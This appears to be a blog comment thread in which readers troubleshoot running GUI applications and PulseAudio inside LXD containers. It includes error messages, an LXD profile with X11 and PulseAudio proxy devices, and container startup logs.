1. pactl info returns “Connection failure: Access denied” error on the second run of this command. Technically, when .config/pulse/cookie gets created (first run of pactl info) it connects to pulse server flawlessly. After that it returns error.
Obviously if i passthrough host cookie then sound work in container with no problems.
i have installed mesa & mesa-demos package, but glxgears fails with “Error: couldn’t find RGB”
$ glxinfo
name of display: :0
Error: couldn’t find RGB GLX visual or fbconfig
$ glxdemo
Error: couldn’t get an RGB, Double-buffered visual
xclock run fine, though. Googling doesn’t help a lot.
Why there are no tutorials for archlinux gui containers?
Any help will be appreciated.
There was a bug in software, magic reboot helped to fix that and gui worked like a charm. One problem left to solve is a pulseaudio authorization denied error. Do you have any clues how to fix that?
“1. pactl info returns “Connection failure: Access denied” error on the second run of this command. Technically, when .config/pulse/cookie gets created (first run of pactl info) it connects to pulse server flawlessly. After that it returns error.
Obviously if i passthrough host cookie then sound work in container with no problems.
”
By the way, it’s so cool, i even managed to run gui by multiple users from one container.
One more thing, possibly not related to container, chat app doesnt want to autologin when run from container. Of course it’s Microsoft Skype for linux, so i’m not surprised. Others (Viber, even MS Teams autologin without problem).
Howdy,
Thanks for your guide. I’ve been noticing crazy high CPU usage on the forkproxy process when running anything with video. I use this guide and an isolated X server to run Skype and similar applications I use for my job online tutoring; however, the forkproxy process uses so much CPU that my graphics tablet lags when writing.
Any ideas on how to cut down on this? I tried connecting to X via tcp, and that was worse. Would one of the older methods, e.g. passing the socket as a disk device, work without spawning that process while still maintaining reasonable security?
I really enjoy your blog. Thanks for all the great articles!
I am also running a ubuntu20.04 host and ubuntu18.04 container. I kept on getting the error ‘Connection failure: Connection refused’ when running ‘pactl info’. I solved this by enabling the following settings on my host paprefs:
-Network Server
-Enable network access to local sound devices
-Allow other machines on the LAN to discover local sound devices
-Don’t require authentication
– Multicast/RTP
-Enable Multicast/RTP receiver
All other paprefs settings were left disabled. I also had to log out and then log back into my host before these settings took affect
Hi,
First of all, thanks for your great articles.
The error I get when I try to launch the container is:
“Error: Failed preparing container for start: Load go-lxc struct: The NVIDIA container tools couldn’t be found”
I didn’t think I needed to manually load nvidia libraries – is my understanding correct?
I am using Manjaro (kernel 5.19) lxd version is 4.9 The profile I’m using is:
config:
environment.DISPLAY: :0
environment.PULSE_SERVER: unix:/home/john/pulse-native
nvidia.driver.capabilities: all
nvidia.runtime: “true”
user.user-data: |
#cloud-config
runcmd:
– ‘sed -i “s/; enable-shm = yes/enable-shm = no/g” /etc/pulse/client.conf’
packages:
– x11-apps
– mesa-utils
– pulseaudio
description: GUI LXD profile
devices:
PASocket1:
bind: container
connect: unix:/run/user/1002/pulse/native
listen: unix:/home/john/pulse-native
security.gid: “1002”
security.uid: “1002”
uid: “1002”
gid: “1002”
mode: “0777”
type: proxy
X0:
bind: container
connect: unix:@/tmp/.X11-unix/X0
listen: unix:@/tmp/.X11-unix/X0
security.gid: “1002”
security.uid: “1002”
type: proxy
mygpu:
type: gpu
name: x11
used_by: []
Logs:
lxc info –show-log iib-node
Name: iib-node
Location: none
Remote: unix://
Architecture: x86_64
Created: 2021/01/08 19:42 UTC
Status: Stopped
Type: container
Profiles: default, x11
Log:
lxc iib-node 20210111162743.637 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.monitor.iib-node”
lxc iib-node 20210111162743.637 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.payload.iib-node”
lxc iib-node 20210111162743.651 WARN cgfsng – cgroups/cgfsng.c:fchowmodat:1570 – No such file or directory – Failed to fchownat(17, memory.oom.group, 1000000000, 0, AT_EMPTY_PATH | AT_SYMLINK_NOFOLLOW )
[…] December 2019: See updated post Running X11 software in LXD containers which uses LXD proxy devices and is easier to […]
[…] June 2020: See newer post at https://blog.simos.info/running-x11-software-in-lxd-containers/ for simplified instructions. They require a recent LXD (version 4.0 or newer), and snap packages […]